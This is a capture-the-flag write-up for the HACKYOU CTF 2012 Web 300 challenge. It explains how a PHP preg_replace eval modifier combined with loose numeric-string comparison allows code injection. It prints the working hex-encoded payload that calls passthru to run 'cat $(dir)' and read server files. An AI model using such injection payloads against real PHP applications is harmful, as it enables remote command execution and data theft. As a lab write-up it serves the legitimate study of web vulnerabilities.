HACKYOU CTF 2012 write-up: Web 300

The page provided appears to be a pseudo random number generator. By reading the page source we can retrieve the PHP sources of the challenge and the flag location (not directly readable)


index.php.txt is valid PHP code (yes, it is!)


After half an hour of meticulous deobfuscation, some clean PHP code comes out (b() function not included)



  
    RNG of Ultimate Security
  
  
    

The Most Secure RNG in the World

Enter the seeds for random number generation, one by line:

"); ?>

We see that the modifier PREG_REPLACE_EVAL is set for the substitution pattern inside preg_replace($pattern, $replacement, $subject). The replacement string is thus evaluated as PHP code and the result is used for replacing the matching subject string. The code actually executed is the following

php > echo pack("H*", "5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929");
ShA1(dATe(CRyPT(CRC32(sTRReV(ABs($1%SqrT(eXP(EXp(pI())))))))))

Thus, to inject some code in the $algorithm variable, we must exploit the comparison between numerical strings at line 18. PHP compares numerical strings in a really funny way. See this page for examples.

A possible solution is to hex-encode some functions to retrieve the flag into a number of the same length of $algorithm_val with at least the 16 most significant digits equal to $algorithm_val. It's not straightforward to get a working snippet of code using a limited set of characters whose hexadecimal representation is a number, but we are allowed to perform a call to passthru using sh command substitution of dir as an argument for cat

>>> 'ShA1(dATe(passthru("cat $(dir)")))'.encode("hex").ljust(124, "0")
'5368413128644154652870617373746872752822636174202428646972292229292900000000000000000000000000000000000000000000000000000000'

After sending this number as the POST parameter rng_algorithm, we download the file flag.txt.tgz which appears to be base64 encoded several times. A simple sh while loop is enough to avoid useless typings

$ while [ $? -eq 0 ]; do encoded=$(cat flag.b64); echo $encoded | base64 -d > flag.b64; done > /dev/null 2>&1; echo $encoded
flag: 36e03906042b7b266afa32bd1ea35445

Great challenge, thanks to vos and leetmore for this 🙂

Author: Marco Squarcina

Computer Science student and an Open Source enthusiast. My main interests are computer security (especially mandatory access control systems), Linux systems administrations and audio applications.